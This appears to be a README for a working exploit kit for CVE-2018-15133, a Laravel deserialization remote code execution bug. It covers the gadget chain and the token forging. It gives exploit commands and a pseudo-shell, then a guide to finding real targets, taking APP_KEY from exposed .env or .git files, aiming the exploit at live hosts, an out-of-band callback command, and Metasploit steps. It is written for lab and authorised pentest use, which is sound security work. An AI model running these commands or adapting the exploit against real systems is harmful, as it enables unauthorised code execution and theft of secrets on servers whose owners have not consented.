CVE-2018-15133 — Laravel Framework Token Unserialize RCE
Overview
| Field | Value |
|---|---|
| CVE | CVE-2018-15133 |
| Software | Laravel Framework |
| Version Tested | 5.6.29 (PHP 7.2.10) |
| Vulnerable Range | Laravel <= 5.5.40, 5.6.x <= 5.6.29 |
| Type | RCE — Deserialization of Untrusted Data (CWE-502) |
| CVSS v3.1 | 8.1 HIGH — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Authentication | Not required (but APP_KEY must be known) |
| KEV | Yes — added to CISA's Known Exploited Vulnerabilities catalog on 2024-01-16 |
In Laravel Framework through 5.5.40 and 5.6.x through 5.6.29, the VerifyCsrfToken middleware passes the X-XSRF-TOKEN request header through Encrypter::decrypt(), which calls unserialize() on the decrypted value without any type check. An attacker who knows the application's APP_KEY can craft a valid encrypted token whose plaintext is a malicious PHP serialized object. When Laravel deserializes it, the PendingBroadcast::__destruct() gadget fires and executes arbitrary OS commands as the web server process.
Quick Start
bash verify.sh
This starts the vulnerable Laravel environment, waits for readiness, runs the exploit with three example commands (id, uname -a, cat /etc/passwd), and prints the results.
Environment
- Image:
kozmico/laravel-poc-cve-2018-15133:latest(Docker Hub) - Laravel: 5.6.29 — last version before the patch (5.6.30 / 5.5.41)
- PHP: 7.2.10
- Port: 8000 → Laravel artisan dev server (
--host=0.0.0.0) - APP_KEY:
base64:9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= - Setup time: ~5 seconds (image is pre-built; no compilation)
docker compose up -d # start
docker compose logs -f # watch logs
docker compose down # teardown
The application exposes a POST / route (in the web middleware group) which is the exploit vector.
Exploit
- File:
exploit/exploit.py - Source: Based on aljavier/exploit_laravel_cve-2018-15133 and kozmic/laravel-poc-CVE-2018-15133 (PHP) — bugs corrected, see Notes.
- Language: Python 3
How It Works
1. Vulnerability root cause
Illuminate/Encryption/Encrypter.php::decrypt() (pre-patch) always calls unserialize() on the decrypted value:
// Vulnerable code (< 5.6.30)
protected function getJsonPayload($payload) { ... }
public function decrypt($payload, $unserialize = true) {
...
return $unserialize ? unserialize($this->stripPadding($decrypted)) : $decrypted;
}
VerifyCsrfToken::getTokenFromRequest() decrypts the X-XSRF-TOKEN header and calls decrypt() with the default $unserialize = true. Since the attacker controls what gets encrypted (because they know the key), they control what gets deserialized.
2. Gadget chain (Laravel/RCE1 — Faker\Generator)
PendingBroadcast::__destruct()
-> $this->events->dispatch($this->event)
-> Faker\Generator::__call('dispatch', [$cmd])
-> $this->formatters['dispatch']($cmd) // = system($cmd)
The PendingBroadcast class has a __destruct() method that calls $this->events->dispatch($this->event). When $this->events is a Faker\Generator instance with formatters['dispatch'] = 'system' and $this->event is our command string, PHP calls system($cmd) and the output is printed to the response.
3. Encryption
To pass MAC verification, the payload is encrypted exactly as Laravel does it:
plaintext = base64_encode(serialized_object)
ciphertext = AES-256-CBC(plaintext, key)
mac = HMAC-SHA256(base64(iv) + base64(ciphertext), key)
token = base64(JSON({iv, value: ciphertext_b64, mac}))
The resulting token is sent as X-XSRF-TOKEN in any POST request.
4. Bug fixes vs. original aljavier PoC
The original Python script has two bugs that prevent successful exploitation:
- Double backslash: PHP namespace separators in serialized class names must be a single
\. The PoC used\\\\(Python literal) =\\(actual string), causingunserialize()to fail with "Error at offset". - Missing property:
Faker\Generatorhas two protected properties (providersandformatters). The PoC only serialized one, producing an invalid object.
Manual Usage
# Start environment
docker compose up -d
# Install dependencies
pip install -r exploit/requirements.txt
# Run a single command
python3 exploit/exploit.py http://localhost:8000/ 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= -c id
# Interactive pseudo-shell
python3 exploit/exploit.py http://localhost:8000/ 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= -i
# Try specific gadget chain variant (1-4)
python3 exploit/exploit.py http://localhost:8000/ 9UZUmEfHhV7WXXYewtNRtCxAYdQt44IAgJUKXk2ehRk= -c id -m 2
Expected Output
[*] Target : http://localhost:8000/
[*] APP_KEY: 9UZUmEfHhV7...
[+] Exploited via gadget method 1
[+] Command output:
uid=0(root) gid=0(root) groups=0(root)
$ id
uid=0(root) gid=0(root) groups=0(root)
$ cat /etc/passwd | head -3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Pentest Adaptation Guide
Target Discovery
Identify vulnerable Laravel instances:
# Banner / version detection via artisan debug page (APP_DEBUG=true exposes version)
curl -sk https://TARGET/ | grep -i "Laravel"
# Nmap service scan
nmap -sV -p 80,443,8000,8080 TARGET
# Check for .env exposure (CVE-2017-16894 — often co-present with CVE-2018-15133)
curl -sk https://TARGET/.env
curl -sk https://TARGET/env
curl -sk https://TARGET/.env.backup
# Check Laravel version from composer.lock if exposed
curl -sk https://TARGET/composer.lock | python3 -m json.tool | grep -A2 "laravel/framework"
# Error page version disclosure (only if APP_DEBUG=true)
curl -sk https://TARGET/DOESNOTEXIST | grep -i "laravel\|version"
Obtaining the APP_KEY
This exploit requires the APP_KEY. Acquisition methods in order of likelihood:
- CVE-2017-16894 / .env exposure: Many apps running debug mode expose
/.envdirectly. Ifcurl https://TARGET/.envreturns the file, extractAPP_KEY=base64:XXXX— strip thebase64:prefix before passing to the exploit. - Git repo leak: Check
https://TARGET/.git/,https://TARGET/.git/config. If exposed, clone or download.env. - Backup files: Try
/.env.bak,/.env.old,/.env~,/backup/.env. - Metasploit auto-discovery: The MSF module
unix/http/laravel_token_unserialize_execincludes an automatic.envextraction routine. - Prior compromise: Log files, S3 bucket misconfigurations, or leaked CI/CD environment variables.
Adapting the Exploit
# Replace localhost:8000 with the real target
python3 exploit/exploit.py https://TARGET/ APP_KEY_WITHOUT_PREFIX -c id
# For HTTPS with self-signed certificate (SSL verification is already disabled)
python3 exploit/exploit.py https://TARGET/ APP_KEY -c id
# If the default POST / route returns no output, try other POST routes
# (any route in the 'web' middleware group works — form submit endpoints, etc.)
python3 exploit/exploit.py https://TARGET/login APP_KEY -c id
python3 exploit/exploit.py https://TARGET/contact APP_KEY -c id
# If the app is behind a proxy, set the proxy:
HTTPS_PROXY=http://BURP:8080 python3 exploit/exploit.py https://TARGET/ APP_KEY -c id
Safe Verification (Non-Destructive)
To confirm the vulnerability without causing damage:
# Read a non-sensitive file — confirms RCE without writing anything
python3 exploit/exploit.py https://TARGET/ APP_KEY -c "cat /etc/hostname"
# DNS callback (confirms outbound network without touching the filesystem)
# Set up a canary at interact.sh or Burp Collaborator first
python3 exploit/exploit.py https://TARGET/ APP_KEY -c "nslookup YOURCANARY.oastify.com"
# Check current user (minimal footprint)
python3 exploit/exploit.py https://TARGET/ APP_KEY -c "id && hostname"
# DO NOT run destructive commands (rm, mkfs, shutdown, etc.) on production
# DO NOT write webshells unless the scope explicitly permits it
# DO NOT exfiltrate real user data — document the RCE with read-only proof
Metasploit Alternative
msfconsole -q
msf6 > use unix/http/laravel_token_unserialize_exec
msf6 exploit(...) > set RHOSTS TARGET_IP
msf6 exploit(...) > set RPORT 443
msf6 exploit(...) > set SSL true
msf6 exploit(...) > set APP_KEY APP_KEY_BASE64 # omit if relying on auto-discovery
msf6 exploit(...) > set LHOST YOUR_IP
msf6 exploit(...) > check # safe check — does not execute a payload
msf6 exploit(...) > run
Evidence Collection
Capture the following for the pentest report:
- Terminal output showing
id/whoamiresponse (proves code execution context) - HTTP request/response from Burp Suite or
curl -vshowing theX-XSRF-TOKENheader and the RCE output in the body - Laravel version proof:
php artisan --versionoutput orcomposer.locksnippet - APP_KEY acquisition method: screenshot or
curloutput showing how the key was obtained (e.g.,.envexposure) - CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — note that AC:H reflects the prerequisite of knowing the key
Per OWASP WSTG, document under WSTG-INPV-11 (Testing for Code Injection) and reference the Laravel advisory.
References
- NVD — CVE-2018-15133
- GitHub Advisory GHSA-qvqm-h22r-4cp9
- Patch commit — laravel/framework#25121
- kozmic/laravel-poc-CVE-2018-15133 — original PHP PoC
- aljavier/exploit_laravel_cve-2018-15133 — Python PoC (basis for this exploit)
- Exploit-DB #47129 — Metasploit module
- CISA KEV entry